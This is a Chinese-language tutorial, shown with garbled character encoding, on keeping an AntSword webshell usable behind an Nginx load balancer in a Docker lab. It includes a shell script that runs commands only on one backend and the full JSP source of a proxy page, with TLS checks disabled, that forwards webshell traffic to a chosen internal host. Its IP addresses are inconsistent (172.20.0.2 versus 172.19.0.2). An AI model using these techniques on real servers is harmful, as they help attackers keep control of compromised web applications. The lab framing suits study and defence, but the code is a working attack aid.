Nginx負(fù)載均衡下的webshell連接的實(shí)現(xiàn)
一、上傳AntSword-Labs-master搭建負(fù)載均衡實(shí)驗(yàn)環(huán)境
搭建好docker環(huán)境,并且配置好docker-compose

我的Redhat的docker版本:

查看當(dāng)前環(huán)境下的文件是否正確:

接著執(zhí)行docker compose up -d 拉取環(huán)境



訪問成功頁(yè)面:

進(jìn)入docker容器執(zhí)行以下命令
docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/RO0T/ant.jsp"

可以發(fā)現(xiàn)存在webshell,查看里面內(nèi)容如下:

二、連接webshell 執(zhí)行命令
然后連接目標(biāo),因?yàn)閮膳_(tái)節(jié)點(diǎn)都在相同的位置存在 ant.jsp,所以連接的時(shí)候也沒出現(xiàn)什么異常

一旦有一臺(tái)機(jī)器上沒有,那么在請(qǐng)求輪到這臺(tái)機(jī)器上的時(shí)候,就會(huì)出現(xiàn) 404 錯(cuò)誤,影響使用。
我們可以發(fā)現(xiàn),主機(jī)的ip一直在變

三、上傳文件/工具
我先在這個(gè)目錄下上傳一個(gè)hack.txt文件,刷新



再次刷新,發(fā)現(xiàn)文件不見了,是因?yàn)槲募环珠_上傳到不同的后端了,不停地刷新會(huì)發(fā)現(xiàn)文件時(shí)而存在時(shí)而不見。

連續(xù)進(jìn)行上傳操作,直到刷新到hack.txt文件一直存在為止。如果文件較大,則會(huì)導(dǎo)致上傳的工具用不了。
五、解決執(zhí)行的命令會(huì)分散到不同的后端的問題
1、我們既然無法預(yù)測(cè)下一次命令是哪臺(tái)機(jī)器去執(zhí)行,那我們的 Shell 在執(zhí)行 Payload 之前,先判斷一下要不要執(zhí)行不就行了?
因?yàn)楸敬苇h(huán)境由docker搭建的,在docker里面下載相應(yīng)的工具

進(jìn)入相應(yīng)的docker容器(注意不同的系統(tǒng)容器名字不一樣) 退出容器exit

升級(jí)一下
apt-get update

安裝一下
apt-get install net-tools

測(cè)試一下好不好用,因?yàn)橹辉谝慌_(tái)裝了,另一臺(tái)用不了

兩臺(tái)都要裝上
2、創(chuàng)建腳本判斷要執(zhí)行命令的ip是不是目標(biāo)后端
vim demo.sh
MYIP=`ifconfig | grep "inet 172.19" | awk '{print $2}'`
if [ "$MYIP" == "172.19.0.2" ]; then
echo "allow exec your command"
id
else
echo "try again!!!"
fi
然后將次腳本復(fù)制到docker容器下的臨時(shí)文件夾下,兩臺(tái)都要復(fù)制
docker cp demo.sh 8e558d690564:/tmp

此時(shí)執(zhí)行腳本,匹配

這就解決了執(zhí)行命令只會(huì)在一臺(tái)特定后端
六、解決上傳文件會(huì)分散到不同的后端的問題
測(cè)試內(nèi)網(wǎng)通信
curl http://172.19.0.3:8080 -X HEAD -v

在Web 層做一次 HTTP 流量轉(zhuǎn)發(fā)實(shí)現(xiàn)后端不是目標(biāo)的機(jī)器將流量轉(zhuǎn)發(fā)給目標(biāo)機(jī)
antproxy.jsp
注意更改這個(gè)字段 String target = "http://172.19.0.2:8080/ant.jsp";
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.20.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>使用蟻劍的新建文件功能,新建一個(gè)antproxy.jsp的文件上傳,重復(fù)上傳多次,確保所有后端都上傳上去了。

將上面的代碼復(fù)制到這個(gè)文件中并多次保存,確保每臺(tái)后端都存在
然后更新名字antproxy.jsp

按道理來講,這樣之后進(jìn)行測(cè)試,所有的流量都會(huì)轉(zhuǎn)發(fā)到172.19.0.2
但是不知道是不是redhat系統(tǒng)的原因,此現(xiàn)象看不到,還會(huì)一直跳
到此這篇關(guān)于Nginx負(fù)載均衡下的webshell連接的實(shí)現(xiàn)的文章就介紹到這了,更多相關(guān)Nginx負(fù)載均衡webshell連接內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
nginx rewrite 偽靜態(tài)配置參數(shù)和使用例子
nginx下偽靜態(tài)配置參數(shù)詳細(xì)說明,使用nginx的朋友,nginx rewrite 偽靜態(tài)配置參數(shù)和使用例子 附正則使用說明2010-07-07
Linux Nginx下SSL證書安裝方法及WordPress CDN配置
這篇文章主要介紹了Linux Nginx下SSL證書安裝方法及WordPress CDN配置,需要的朋友可以參考下2017-08-08
國(guó)內(nèi)一些常用PHP的CMS的Nginx服務(wù)器的偽靜態(tài)規(guī)則整理
當(dāng)我們從apache服務(wù)器轉(zhuǎn)向Nginx服務(wù)器的時(shí)候,它們的偽靜態(tài)規(guī)則就不一樣了,所以你熟悉Nginx服務(wù)器的偽靜態(tài)規(guī)則,自己寫當(dāng)然也好2011-03-03
Docker Nginx容器和Tomcat容器實(shí)現(xiàn)負(fù)載均衡與動(dòng)靜分離操作
這篇文章主要介紹了Docker Nginx容器和Tomcat容器實(shí)現(xiàn)負(fù)載均衡與動(dòng)靜分離操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-11-11

